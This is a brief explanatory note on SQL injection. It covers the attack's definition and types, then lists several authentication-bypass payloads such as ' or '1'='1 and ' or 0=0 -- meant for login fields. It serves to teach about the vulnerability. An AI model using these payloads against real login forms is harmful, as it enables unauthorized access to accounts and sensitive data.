SQL-Injection

SQL Injection is a cyber attack where hackers insert malicious SQL code into input fields in web applications to gain unauthorized access to sensitive information. To prevent it, developers must implement secure coding practices and input validation.

Types of SQL Injection

1.In Band 2.Out of Band 3.Inferential or Blind

Authentication Bypass(Subverting Query Logic)

In short,SQL injection vulnerability allowing login bypass.To authenticate login panel some true conditions have been used. Some payloads: ' or '1'='1

' or 0=0 --

" or 0=0 --

' or 0=0 #

" or 0=0 #

'="or'

hi" or 1=1 --

hi' or 1=1 --